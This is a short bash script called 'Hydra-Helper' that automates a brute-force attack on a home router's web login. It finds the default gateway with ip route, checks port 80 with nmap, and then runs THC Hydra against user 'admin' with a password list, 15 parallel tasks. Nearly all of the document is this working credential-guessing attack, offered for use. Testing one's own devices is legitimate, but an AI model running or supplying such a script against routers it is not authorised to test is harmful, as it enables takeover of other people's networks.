#/bin/bash
echo "##############################"
echo "Welcome to Hydra-Helper v0.2"
echo "##############################"
######################################
# (C)opyright 2010 - Scamentology #
#---License------------------------------------------------------------------------------------#
# This program is free software: you can redistribute it and/or modify it under the terms #
# of the GNU General Public License as published by the Free Software Foundation, either #
# version 3 of the License, or (at your option) any later version. #
# #
# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; #
# without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. #
# See the GNU General Public License for more details. #
# #
# You should have received a copy of the GNU General Public License along with this program. #
# If not, see <http://www.gnu.org/licenses/>.
#----------------------------------------------------------------------------------------------#
#This is my first stab at a shell script so dont be rude.
#It was tested on the following routers
#--Linksys WRT54G
#--airlink-101
#Instructions
#You will need to give the path to you password list then run the script
######################################
username=admin
dictpath=/root/pass.lst
tasks=15
######################################
echo "######################################"
echo "Getting Router IP and Port Information"
echo "######################################"
IP=$(ip route | grep default | awk '{ print $3}') #Gives us The Gateway IP address
prot=$(nmap -sT -p 80 $IP | grep 80/tcp | awk '{ print $2}') #Gives us open/closed status of port 80. I'm sure NMAP isnt the only way to do this but I know NMAP well enough.
if [ "$prot" == "open" ] ; then
prot="http"
else
prot="https" #We will assume its https if port 80 is closed
fi
##################################################################
# if ["$prot" == "open "] ; then #I gave up trying to if/then both protocols
# prot="http" #
# display info "Attacking Port 80"
# if ["$prot" == "closed "] ; then
# prot="https"
# display info "Attacking Port 443"
# else
# prot=192.168.1.1
# fi
# fi
##################################################################
hydra -l $username -P $dictpath -e ns -t $tasks -f -s -vV $IP $prot-get /
exit
#todo
#improve progress status